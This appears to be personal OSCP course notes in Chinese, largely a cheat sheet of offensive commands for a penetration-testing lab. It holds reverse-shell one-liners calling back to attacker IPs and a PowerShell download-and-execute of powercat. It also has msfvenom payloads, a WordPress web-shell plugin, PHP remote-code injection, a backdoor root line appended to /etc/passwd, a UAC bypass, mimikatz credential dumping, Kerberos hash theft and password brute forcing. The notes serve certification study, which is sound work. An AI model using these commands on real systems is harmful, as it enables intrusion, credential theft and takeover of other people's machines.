【Treeman】OSCP

【OSCP】課程筆記

【OSCP】課程筆記

OSCP 筆記

起手式

scan 
	ip
	port
	service
列舉
	版本 : CVE
	設定	
	狀態
initial access
	interactive shell
PE(提權)
	設定
	漏洞
		套件 package / application
		KE  ( kernel exploit )
橫移
	protocol
		ssh
		smb
		rpc
		winRM

被動資訊

憑證
	email -> 帳號
	域名 -> 帳號
	考試一定是自簽(工具忽略警告訊息)

廣度優先
	避免兔子坑

portscan

portscan
	udp   icmp type:3,code:3 => 代表沒開
    
	sudo + nmap =>多 ICMP type:8, type:13
    區網 arp scan 準確判斷 IP
# web 攻擊
web -> RCE
		E: php, java
	sql injection
	PT
	F1
	XSS -> JS
    
web 進入點
	path
	from 
	header

Ch 21

 


Windows 群組與權限

為了查看權限,我們將使用PowerShell的Get-Acl cmdlet。這個命令本質上將檢索我們使用 -Path 標誌定義的對象的權限並將它們打印在我們的PowerShell提示中。

PS C:\Tools> Get-Acl -Path HKLM:SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\ | fl

image-1702296466763.png

在清單中突出顯示的輸出顯示了擁有FullControl或ReadKey權限的組和用戶,這意味著它們都可以讀取SrvsvcSessionInfo密鑰本身

GenericAll: Full permissions on object
GenericWrite: Edit certain attributes on the object
WriteOwner: Change ownership of the object
WriteDACL: Edit ACE's applied to object
AllExtendedRights: Change password, reset password, etc.
ForceChangePassword: Password change for object
Self (Self-Membership): Add ourselves to for example a group

Word press 起手式

# wp 攻擊路徑 
WP -> admin -> RCE
   -> CVE-> Core	-> RCE
            Theme
            plugin
            
            
wp-admin -> DB -> config <- DT

嘗試登入

smvclient -L {ip} -U {password} -> 失敗
crackmapexec smb {ip} -u {username} -p {passwod} ->成功
#因為 username 是 網域帳號

Invoke-Ping
Invoke-Parallel

  

 

 

 

【OSCP】課程筆記

Google haking

image-1699208083754.png

這個 Google 搜尋用法是用來尋找網頁伺服器上可能包含檔案目錄索引的特定檔案或資料夾的索引頁面。該搜尋字符串的組成部分如下:

  1. intitle:"index of": 這部分指示 Google 搜尋要專注於網頁標題(Title)中包含 "index of" 這個特定字詞組的網頁。通常,伺服器目錄索引頁的標題中會包含這個詞組,因為這是一個常見的標識方式。

  2. "parent directory": 這部分表示我們想要搜尋的網頁標題應當包含 "parent directory" 這個詞組。這個詞組通常出現在網頁標題中,以指示該頁面允許訪問目錄的父目錄(上一級目錄),這樣使用者就可以瀏覽伺服器上的不同檔案或資料夾。

總結起來,這個搜尋用法可以幫助你找到伺服器上公開提供的目錄索引頁,讓你可以瀏覽其中的檔案和資料夾,這對於查找特定資源或資訊可能非常有用。請注意,這個方法只適用於伺服器上允許公開訪問目錄索引頁的情況,對於私有資料或需要身份驗證的資源,將無效。此外,使用這種方式來訪問伺服器上的內容時,請確保你是在合法且允許的情況下進行操作,以遵守相關法律和規定。


Exploit Database

搜索查詢來查找影響 Microsoft Edge 瀏覽器的漏洞,並將搜索結果限制為僅在 Exploit Database 網站上托管的利用程式。

kali@kali:~$ firefox --search "Microsoft Edge site:exploit-db.com"

 

【OSCP】課程筆記

【Tunnel】Port forwarding and Tunneling

Port forwarding

#!/usr/bin/env bash
# https://gist.github.com/holly/6d52dd9addd3e58b2fd5
set -e

if [ $# != 3 ]; then

        echo 'Usage: nc-tcp-forward.sh $FRONTPORT $BACKHOST $BACKPORT' >&2
        exit 1
fi

FRONTPORT=$1
BACKHOST=$2
BACKPORT=$3

FIFO=/tmp/backpipe

trap 'echo "trapped."; pkill nc; rm -f $FIFO; exit 1' 1 2 3 15

mkfifo $FIFO
while true; do
        nc -l $FRONTPORT <$FIFO | nc $BACKHOST $BACKPORT >$FIFO
done
rm -f $FIFO

 

SSL forwarding

 

靜態本地

# kali -> vm1 (192.168.50.63 | 10.4.50.63) -> vm2(10.4.50.215|172.16.50.215)
# 靜態 ssh -N -L 0.0.0.0:{vm1_port}:{vm3_ip}:{vm3_port} {vm2_user}@{vm2_ip}
# vm1
ssh -N -L 0.0.0.0:4455:172.16.50.217:445 database_admin@10.4.50.215

# kali
kali@kali:~$ smbclient -p 4455 -L //192.168.50.63/ -U hr_admin --password=Welcome1234

動態本地

# kali -> vm1 (192.168.50.63 | 10.4.50.63) -> vm2(10.4.50.215|172.16.50.215) -> vm3(172.16.50.217)

# vm1 動態port forwarding
ssh -N -D 0.0.0.0:9999 database_admin@10.4.50.215
# kali 修改設定檔
kali@kali:~$ vim /etc/proxychains4.conf

image-1702220562365.png

# kali -> vm1 (192.168.50.63 | 10.4.50.63) -> vm2(10.4.50.215|172.16.50.215) -> vm3(172.16.50.217)
# kali smbclient
kali@kali:~$ proxychains smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234

# kali namp
kali@kali:~$ proxychains nmap -vvv -sT --top-ports=20 -Pn 172.16.50.217

SSH 遠端靜態

# kali(192.168.50.174) -> vm1 (192.168.50.63 | 10.4.50.63) -> vm2(10.4.50.215 | 172.16.50.215) -> vm3(172.16.50.217)
# VM1下
python3 -c 'import pty; pty.spawn("/bin/bash")'

ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 kali@192.168.50.174   

# kali
pgql -h 127.0.0.1 -p 2345 -U postgres 

SSH 動態遠端

# kali(192.168.50.174) -> vm1 (192.168.50.63 | 10.4.50.63) -> vm2(10.4.50.215 | 172.16.50.215) -> vm3(172.16.50.217)

# VM1
python3 -c 'import pty; pty.spawn("/bin/bash")'
ssh -N -R 9998 kali@192.168.50.174

# kali
kali@kali:~$ proxychains nmap -vvv -sT --top-ports=20 -Pn -n 10.4.50.215

sshuttle

#vm1
socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22

# kali 設置sshuttle
sshuttle -r database_admin@192.168.50.63:2222 10.4.50.0/24 172.16.50.0/24
# kali 對遠端操作
smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234

plink.exe

# plink.exe -ssh -l {kali_nmae} -pw {passwd} -R 127.0.0.1:{kali_port}:127.0.0.1:{vm1_port} {kali_ip}
# vm1
C:\Windows\Temp\plink.exe -ssh -l kali -pw <YOUR PASSWORD HERE> -R 127.0.0.1:9833:127.0.0.1:3389 192.168.50.174

#kali
xfreerdp /u:rdp_admin /p:P@ssw0rd! /v:127.0.0.1:9833

netsh

# 建立 port forwarding
netsh interface portproxy add v4tov4 listenport=2222 listenaddress=192.168.210.64 connectport=22 connectaddress=10.4.210.215
# 尋找 port 2222 狀態
netstat -anp TCP | find "2222"
# 查詢port forwarding
C:\Windows\system32>netsh interface portproxy show all
Listen on ipv4:             Connect to ipv4:

Address         Port        Address         Port
--------------- ----------  --------------- ----------
192.168.50.64   2222        10.4.50.215     22

# filewall 開洞
netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=192.168.50.64 localport=2222 action=allow
# 刪除 filewall 開洞
netsh advfirewall firewall delete rule name="port_forward_ssh_2222"
# 刪除 port forwarding
netsh interface portproxy del v4tov4 listenport=2222 listenaddress=192.168.50.64
#!/usr/bin/env bash
# https://gist.github.com/holly/6d52dd9addd3e58b2fd5
set -e

if [ $# != 3 ]; then

        echo 'Usage: nc-tcp-forward.sh $FRONTPORT $BACKHOST $BACKPORT' >&2
        exit 1
fi

FRONTPORT=$1
BACKHOST=$2
BACKPORT=$3

FIFO=/tmp/backpipe

trap 'echo "trapped."; pkill nc; rm -f $FIFO; exit 1' 1 2 3 15

mkfifo $FIFO
while true; do
        nc -l $FRONTPORT <$FIFO | nc $BACKHOST $BACKPORT >$FIFO
done
rm -f $FIFO

Http Tunneling

chisel 

# chisel server run
chisel server --port 8080 --reverse

# 從kali(192.168.45.224)下載
wget http://192.168.45.224/chisel -O /tmp/chisel && chmod +x /tmp/chisel
# 執行 chisel client
/tmp/chisel client 192.168.45.224:8080 R:socks

# 安裝ncat
atp install ncat

# 修改proxychain
vim /etc/proxychains4.conf
# [ProxyList]
#socks4         127.0.0.1 9050
socks5  127.0.0.1 1080

# 使用ProxyCommand 執行 ncat
ssh -o ProxyCommand='ncat --proxy-type socks5 \
--proxy 127.0.0.1:1080 %h %p' database_admin@10.4.194.215

 

【OSCP】課程筆記

【Tip】關於 bash

【Tip】無痕模式 bash

script -c /bin/bash -q /dev/null

 

這個指令使用了 `script` 工具,該工具通常用於記錄終端會話。下面是詳細解釋:

1. **`script` 工具:** `script` 是一個Unix和Linux系統上的命令行工具,它允許用戶記錄終端會話。當你啟動 `script` 時,它將開始記錄你在終端中輸入的所有命令和終端的輸出。

2. **`-c /bin/bash`:** 這部分指定了 `script` 要記錄的 shell。在這個例子中,它指定了使用 `/bin/bash` 作為要記錄的 shell。

3. **`-q`:** 這個選項使 `script` 在運行時保持安靜。它抑制了 `script` 輸出的啟動和結束消息,使其在背景運行時更為靜默。

4. **`/dev/null`:** 這是一個特殊的文件,通常被用作無效的輸出或輸入。在這裡,它被用作 `script` 的輸出文件,這意味著終端會話的記錄將被寫入 `/dev/null`,即被丟棄,而不會寫入實際的文件。

總的來說,這條指令的目的是以安靜的方式記錄 `/bin/bash` shell 的所有命令和終端輸出,並將記錄輸出到 `/dev/null`,從而達到不保存實際記錄的效果。這樣的操作在某些情況下可能被用於紀錄或監控終端活動,但要注意潛在的濫用風險,特別是在未經授權的情況下使用此類工具。


【Tip】使用 bash

有些ssh 不是使用bash(或是切換權限不足) ,登入後會出現 stdin is not a terminal

listening on [any] 443 ...
connect to [192.168.45.187] from (UNKNOWN) [192.168.194.63] 54132
bash: cannot set terminal process group (2309): Inappropriate ioctl for device
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
confluence@confluence01:/opt/atlassian/confluence/bin$ ssh database_admin@10.4.194.215
<ian/confluence/bin$ ssh database_admin@10.4.194.215   
Pseudo-terminal will not be allocated because stdin is not a terminal.
Could not create directory '/home/confluence/.ssh'.
Host key verification failed.

使用phton 切換

python3 -c 'import pty; pty.spawn("/bin/bash")'

 

【OSCP】課程筆記

【kali】未安裝工具

rockyou(seclists)

/usr/share/seclists
# 安裝
sudo apt update
sudo apt install -y seclists

cd /usr/share/wordlists
sudo gzip -d rockyou.txt.gz

rustscan

#安裝
wget https://github.com/RustScan/RustScan/releases/download/2.0.1/rustscan_2.0.1_amd64.deb
sudo dpkg -i rustscan_2.0.1_amd64.deb 

gobuster

# 安裝
sudo apt-get update
sudo apt-get install gobuster

# git hub
# https://github.com/OJ/gobuster

 

wsgidav

https://bookstack.treemanou.com/books/treemanoscp/page/smbwsgidav

kali@kali:~$ pip3 install wsgidav           
Defaulting to user installation because normal site-packages is not writeable
Collecting wsgidav
  Downloading WsgiDAV-4.0.1-py3-none-any.whl (171 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 171.3/171.3 KB 1.6 MB/s eta 0:00:00
...  
Successfully installed json5-0.9.6 wsgidav-4.0.1

rlwrap

https://bookstack.treemanou.com/books/treemanoscp/page/terminalrlwrap

# 安裝
sudo apt install rlwrap
# listener 8888
rlwrap -cAr nc -nvlp8888

sshuttle

# install
sudo apt install sshuttle

# run at kali
# kali -> vm1(192.168.50.63 | 10.4.50.63):2222 	-> vm2(10.4.50.x)
# 	                                      		-> vm3(172.16.50.0)
sshuttle -r database_admin@192.168.50.63:2222 10.4.50.0/24 172.16.50.0/24

chisel

# 安裝
sudo apt install chisel

# 執行
chisel server --port 8080 --reverse

ncat

# 安裝
sudo apt install ncat

# 使用ProxyCommand 執行 ncat
ssh -o ProxyCommand='ncat --proxy-type socks5 \
--proxy 127.0.0.1:1080 %h %p' database_admin@10.4.194.215

linpeas

sudo apt-get update

sudo apt-get -y install peass

 

【OSCP】課程筆記

OSCP Recipe 2023

OSCP Recipe 2023

Date: 20230921
ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" root@192.168.212.45

ssh bob@10.11.1.136 -oKexAlgorithms=+diffie-hellman-group1-sha1

sudo tcpdump -nnvvvAi tun0 udp port

 

REFS

https://github.com/swisskyrepo/PayloadsAllTheThings
https://gtfobins.github.io/
https://book.hacktricks.xyz/welcome/readme

6. Information Gathering

RustScan

wget https://github.com/RustScan/RustScan/releases/download/2.0.1/rustscan_2.0.1_amd64.deb
sudo dpkg -i rustscan_2.0.1_amd64.deb
rustscan
rustscan -a 192.168.220.151 -u 5000 -t 8000 --scripts none
rustscan -a 192.168.220.151 -u 5000 -t 8000 --scripts -- -n -Pn -sVC -oG 151_ports.txt

 

PowerShell Scan

1..254 | % {"10.0.1.$_"}
https://raw.githubusercontent.com/RamblingCookieMonster/PowerShell/master/Invoke-Ping.ps1

Measure-Command {
Invoke-Ping (1..254 | % {"192.168.190.$_"}) -Quiet -Timeout 40 -throttle 200
} | Select -Property TotalSeconds
https://raw.githubusercontent.com/RamblingCookieMonster/Invoke-Parallel/master/Invoke-Parallel/Invoke-Parallel.ps1

Measure-Command {
1..1024 | Invoke-Parallel -ScriptBlock {echo ((New-Object Net.Sockets.TcpClient).Connect("127.0.0.1", $_)) "TCP port $_ is open"} 2>$null -throttle 200
} | Select -Property TotalSeconds

 

SMB

smbclient -N -L 192.168.220.13
smbclient -N //192.168.220.13/files
smbclient //192.168.220.13/files -U <UserName>%[password]

for i in $(cat smb_list.txt); do (echo $i;smbclient -N -L $i;echo); done

 

 

NetBIOS Name Query

nmblookup
nbtscan

 

 

Detailed Enumeration

nmap 10.11.1.115,136 -n -sV -p139,445 --script smb-protocols

enum4linux 192.168.220.13

> https://github.com/cddmp/enum4linux-ng

./enum4linux-ng.py 192.168.220.13

enum4linux -o 10.11.1.x

enum4linux -A 10.11.1.x

crackmapexec

 

 

Swiss Army Knife SMTP

sudo swaks -t daniela@beyond.com -t marcus@beyond.com --from john@beyond.com \
--attach @config.Library-ms --server 192.168.50.242 \
--body @body.txt --header "Subject: Staging Script" --suppress-data -ap

 

 

RDP

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

rdesktop 10.11.1.x -g 93% -u administrator -p password

xfreerdp /cert-ignore /v:192.168.219.75 /d:corp.com /u:jeff /p:'HenchmanPutridBonbon11'

 

File Sharing

impacket-smbserver -smb2support -user user -password user share .

python3 -m http.server 8000

python2 -m SimpleHTTPServer 8000

twist3 ftp -p21 -r Downloads

/home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/beyond/webdav/

 

 

File Download One-Liner

certutil.exe -urlcache -f http://192.168.119.133/plink.exe plink.exe

echo get nc.exe nc.exe | ftp -A 192.168.1.1

IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.119.3/powercat.ps1");powercat -c 192.168.119.3 -p 4444 -e powershell

IEX%20(New-Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.119.3%2Fpowercat.ps1%22)%3Bpowercat%20-c%20192.168.119.3%20-p%204444%20-e%20powershell

iwr -Uri "http://www.contoso.com" -OutFile "C:\path\file"

file_put_contents("/tmp/phpexec.php", file_get_contents("http://192.168.119.235/phpexec.php"));

wget --no-check-certificate https://

 

 

SHELL

msfvenom -p windows/shell_reverse_tcp lhost=192.168.49.90 lport=8888 -f exe > res.exe
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.133 LPORT=4444 -f asp -o plzrs.asp

windows/shell_reverse_tcp
windows/x64/shell_reverse_tcp
linux/x86/shell/reverse_tcp
linux/x64/shell_reverse_tcp
sudo apt install rlwrap
rlwrap -cAr nc -nvlp8888
wmic process call create "C:\Users\alice\nc.exe 192.168.119.226 8889 -e cmd.exe"
Bash + IO redirect + Pseudo-devices
<!-- Bash + IO redirect + Pseudo-devices -->
/bin/bash -i > /dev/tcp/192.168.119.x/8888 0<&1 2>&1
/bin/bash -c 'bash -i > /dev/tcp/192.168.119.x/8888 0<&1 2>&1'

mknod /tmp/backpipe p;ls -lh /tmp
/bin/bash 0< /tmp/backpipe 2>&1 | nc 192.168.119.126 8888 1> /tmp/backpipe
Netcat + Fifo + Pipe + Bash
<!-- Netcat + Fifo + Pipe + Bash -->
mkfifo /tmp/p;ls -lh /tmp
nc 192.168.15.1 8888 0</tmp/p | /bin/bash >/tmp/p 2>&1

[full-tty](https://0xffsec.com/handbook/shells/full-tty/)

script -c /bin/bash -q /dev/null
python --version [2>&1]
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

Windows FTP non-interactive download

echo open 10.11.0.4 21> ftp.txt
echo USER offsec>> ftp.txt
echo lab>> ftp.txt
echo bin >> ftp.txt
echo GET nc.exe >> ftp.txt
echo bye >> ftp.txt

`C:\> ftp -v -n -s:ftp.txt`
#!/bin/bash

if [ -z $4 ]
then
echo
echo"Automatic FTP Upload Script!!"
echo
echo"Usage: $0 <IP> <User> <Password> <File Name>"
echo
exit0
fi

HOST=$1
USER=$2
PASSWORD=$3
FILENAME=$4

ftp -inv $HOST <<EOF
user $USER $PASSWORD
binary
put $FILENAME $FILENAME
ls
!sleep 3
bye
EOF

9. Common Web Application Attacks

LFI: section.php?page=

 

curl -s -G 'http://10.11.1.35/section.php' --data-urlencode 'page=php://filter/read=convert.base64-encode/resource=section.php' | base64 -d

 

RFI

curl -X POST 'http://10.11.1.35/section.php?page=php://input' --data '<?php echo shell_exec("id;pwd"); ?>'
[Windows Path Traversal Cheatsheet](https://gist.github.com/SleepyLctl/823c4d29f834a71ba995238e80eb15f9#file-windows-path-traversal-cheatsheet)

 

Gobuster

gobuster dir -u http://offsecwp -w /usr/share/dirb/wordlists/common.txt

gobuster dir -u http://offsecwp -w /usr/share/dirb/wordlists/common.txt -r -f -x php,aspx,jsp

gobuster dir -u http://192.168.50.16:5002 -w /usr/share/wordlists/dirb/big.txt -p pattern

gobuster dir -f -r -x .php,.html -w /usr/share/dirb/wordlists/common.txt -u http://10.
/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
--proxy socks5://127.0.0.1:1080

 

 

WordPress Malicious Plugin

[Plugin File Editor][Hello Dolly]
echo system($_GET[1]);
die();

[plugins]
Activate `Hello Dolly`

http://host.domain.com/wordpress/wp-content/plugins/hello.php?1=whoami
# Write a web shell with a malicious plugin.
# Copy a plugin shell from SecLists and zip it:
> https://github.com/danielmiessler/SecLists/blob/master/Web-Shells/WordPress/plugin-shell.php


$ cp /usr/share/seclists/Web-Shells/WordPress/plugin-shell.php .
$ zip plugin-shell.zip plugin-shell.php


#Upload plugin-shell.zip (Plugins > Add New) and install it (Upload Plugin > Browse... > Install Now) but do not activate! Now you can access the web shell:
$ curl 'http://10.10.13.37/wp-content/plugins/plugin-shell/plugin-shell.php?cmd=whoami'
wpscan --url http://sandbox.local -e u,t,ap,cb,dbe
wpscan --url http://192.168.218.244/ -e p --plugins-detection aggressive

 

10. SQL Injection Attacks

mysql -u root -p'root' -h 192.168.50.16 -P 3306

impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth

EXECUTE sp_configure 'show advanced options',1; RECONFIGURE;sp_configure 'xp_cmdshell',1;RECONFIGURE;

 

12. Locating Public Exploits

searchsploit ubuntu 10 local escalation

searchsploit linux kernel ubuntu 16.04

searchsploit ossec | grep -v '/dos/'

searchsploit linux kernel | grep -v dos | grep ' 3\.' | grep -i 'root\|privilege\|exploit'

 

13. Fixing Exploits

Using EoL Python Versions on Kali
https://www.kali.org/docs/general-use/using-eol-python-versions/

Python Virtualenv

mkdir .py2env;cd .py2env
virtualenv --python=python2 env
source env/bin/activate

mkdir .py3env;cd .py3env
virtualenv --python=python3 env
source env/bin/activate

pip --version
deactivate
sudo apt install mingw-w64
sudo apt install wine
dpkg --add-architecture i386 && apt-get update && apt-get install wine32

 

15. Password Attacks

hydra -l george -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://192.168.50.201

hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.50.201 http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"

hashcat --help | grep -i "ntlm"

hashcat -m 1000 nelly.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.50.212 -c "powershell -enc JABjAGwAaQBlAG4AdA..."

kpcli

 

16. Windows Privilege Escalation

Displays information about Remote Desktop Session Host servers

Query User

Query Session

 

Windows QUERY

whoami
whoami /priv
whoami /groups

net user

systeminfo

wmic OS get OSArchitecture

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Default*

reg query HKLM /f password /t REG_SZ /s

findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml

`WIN` + `R`: msinfo32

shutdown /r /t 0

mountvol
ipconfig /all

route print

netstat -ano

netsh advfirewall show currentprofile

netsh advfirewall firewall show rule name=all

icacls
powershell -nop -ep bypass [-w hidden]

Get-LocalUser

Get-LocalGroup

Get-LocalGroupMember adminteam

Get-Process

Get-ChildItem -Path C:\Test -Name

Get-ChildItem -Path C:\Test\*.txt -Recurse -Force

Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue

Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue

Get-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
tasklist /svc
tasklist /v
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

wmic product get name, version, vendor

wmic qfe get Caption, Description, HotFixID, InstalledOn

accesschk.exe -uws "Everyone" "C:\Program Files"

Get-ChildItem "C:\Program Files" Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}

powershell
driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object ‘Display Name’, ‘Start Mode’, Path

Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*VMware*"}

reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer

PowerShell Transcription1

Get-History

(Get-PSReadlineOption).HistorySavePath

Start-Transcript -Path "C:\Users\Public\Transcripts\transcript01.txt"

type C:\Users\Public\Transcripts\transcript01.txt

Stop-Transcript

 

PowerShell Script Block Logging

When Script Block Logging is enabled, PowerShell logs the following events to the PowerShellCore/Operational log:
EventId: 4104

Get-WinEvent Microsoft-Windows-PowerShell/Operational | Where-Object Id -eq 4104

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7.2

wmic service get name,displayname,startname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"

wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """

Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}

Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

Get-CimInstance -ClassName win32_service | Select Name,State,PathName

wmic service get /?
wmic service where caption="Serviio" get name, caption, state, startmode
wmic service where started=true get name,startname,pathname

 

---

 

schtasks /query /fo LIST /v

<!-- ADMIN REQUIRED -->
C:\Windows\System32\Tasks
powershell.exe Start-Process cmd.exe -Verb runAs

 

 

fodhelper.exe Bypass UAC

REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f
[Windows Privilege Escalation](https://gist.github.com/sckalath/8dacd032b65404ef7411)

 

17. Linux Privilege Escalation

Determine the Current Shell in Linux

echo $0

LINUX QUERY

[Basic Linux Privilege Escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
local-network-process-file-package-module-volume
id
pwd
sudo -l

ls -lah /etc/shadow /etc/shadow

cat /etc/passwd
cat /etc/passwd | grep -vE "nologin|false"

hostname
hostname -f

cat /etc/issue
cat /etc/*lease
lsb_release -a

uname -r
uname -i
uname -a
arch

env
cat .bashrc

ps aux
ps -ef

ip ro
ss -anp
netstat -antup
lsof -inP
cat /proc/net/arp

cat /etc/iptables
cat /etc/iptables/rules.v4
find / -name *iptables* 2>/dev/null

ls -lah /etc/cron*
crontab -l
cat /etc/crontab
grep -i "cron" /var/log/cron.log
grep -i "cron" /var/log/syslog

dpkg -l
rpm -qa

find /home -ls 2> /dev/null
find / -writable -type d 2> /dev/null
find / ! -path "/proc/*" -user root -writable -ls 2> /dev/null

#<!-- https://gtfobins.github.io/ -->
find / ! -path "/proc/*" -user root -perm -04000 -ls 2> /dev/null
find / -perm -u=s -type f -ls 2>/dev/null

#<!-- match name case insensitive -->
find . -iname '*config*' -ls 2>/dev/null

cat /etc/fstab
mount
lsblk

lsmod
/sbin/modinfo libata

unix-privesc-check
openssl passwd w00t
echo "toor:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd

/usr/sbin/getcap -r / 2>/dev/null

 

Precompiled Exploit

https://github.com/lucyoa/kernel-exploits
https://github.com/SecWiki/linux-kernel-exploits
https://gitlab.com/exploit-database/exploitdb-bin-sploits
https://github.com/bsauce/kernel-exploit-factory

18. Port Redirection and SSH Tunneling

sshuttle

.ssh/config
Host SEAN
Hostname 10.11.1.251
User sean
Host LUIGI
Hostname 10.1.1.1
Port 22
User root
ProxyCommand ssh -W %h:%p SEAN
sshuttle r LUIGI 10.3.3.0/24

 

 

19. Tunneling Through Deep Packet Inspection

chisel.exe client 192.168.45.197:22 R:9050:socks

21. Active Directory Introduction and Enumeration

Import-Module .\PowerView.ps1

Basic

Get-NetDomain
Get-NetUser
Get-NetUser | select cn
Get-NetUser | select cn,pwdlastset,lastlogon
Get-NetGroup | select cn
Get-NetGroup "Sales Department" | select member

Operating Systems

Get-NetComputer
Get-NetComputer | select operatingsystem,dnshostname

Permissions and Logged on Users

Find-LocalAdminAccess
Get-NetSession -ComputerName files04
Get-NetSession -ComputerName files04 -Verbose
Get-Acl -Path HKLM:SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\ | fl
Get-NetComputer | select dnshostname,operatingsystem,operatingsystemversion
.\PsLoggedon.exe \\files04

 

Service Principal Names

setspn -L iis_service
Get-NetUser -SPN | select samaccountname,serviceprincipalname
nslookup.exe web04.corp.com

 

Object Permissions

Get-ObjectAcl -Identity stephanie
Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-1104
Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights

 

Domain Shares

Find-DomainShare
cat \\dc1.corp.com\sysvol\corp.com\Policies\oldpolicy\old-policy-backup.xml
cpassword
gpp-decrypt "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE"

 

BloodHound

sudo neo4j start

. .\SharpHound.ps1
Invoke-BloodHound -c all

match p=(a:Computer)-[r:HasSession]->(b:User) return p

 22. Attacking Active Directory Authentication

privilege::debug
sekurlsa::logonpasswords

crackmapexec smb ad_ip445.txt -u adusers.txt -p 'Nexus123!' --continue-on-success
crackmapexec smb ad_ip445.txt -d corp.com -u jen -p 'Nexus123!' --shares

impacket-rdp_check john:easyas123@10.11.1.221

impacket-GetNPUsers -dc-ip 192.168.50.70 -request -outputfile hashes.asreproast corp.com/pete
sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

impacket-GetUserSPNs -dc-ip 192.168.50.70 -request -outputfile hashes.kerberoast corp.com/pete
sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

impacket-secretsdump -just-dc-user dave corp.com/jeffadmin:"BrouhahaTungPerorateBroom2023\!"@192.168.50.70

 

23. Lateral Movement in Active Directory

wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create "calc"

impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E Administrator@192.168.50.73

winrs -r:files04 -u:jen -p:Nexus123! "powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD...
HUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"
nc -lnvp 443

evil-winrm -i 192.168.219.72 -u jen -p 'Nexus123!'

crackmapexec winrm 192.168.219.72 -d corp.com -u jen -p 'Nexus123!' -x whoami

impacket-dcomexec 'corp.com/jen:Nexus123!'@192.168.219.72 -object MMC20
privilege::debug
sekurlsa::tickets /export
kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi

 

【OSCP】課程筆記

常用目錄/檔案

除了 rwx 文件權限外,還有兩個與可執行文件相關的額外特殊權利:setuidsetgid。這些用字母 "s" 來表示。

如果這兩個權限被設置,權限中將出現大寫或小寫的 "s"。這允許當前用戶以擁有者(setuid)或擁有者組(setgid)的權限執行文件。

執行可執行文件時,通常會繼承運行它的用戶的權限。但是,如果設置了 SUID 權限,則二進位文件將以文件擁有者的權限運行。這意味著如果一個二進位文件具有 SUID 位設置並且文件由 root 擁有,任何本地用戶都可以以提升的權限執行該二進位文件。

當用戶或系統自動化腳本啟動 SUID 應用程序時,它繼承其啟動腳本的 UID/GID:這稱為有效 UID/GID(eUID、eGID),它是 OS 驗證以授予給定動作權限的實際用戶。

# web路徑
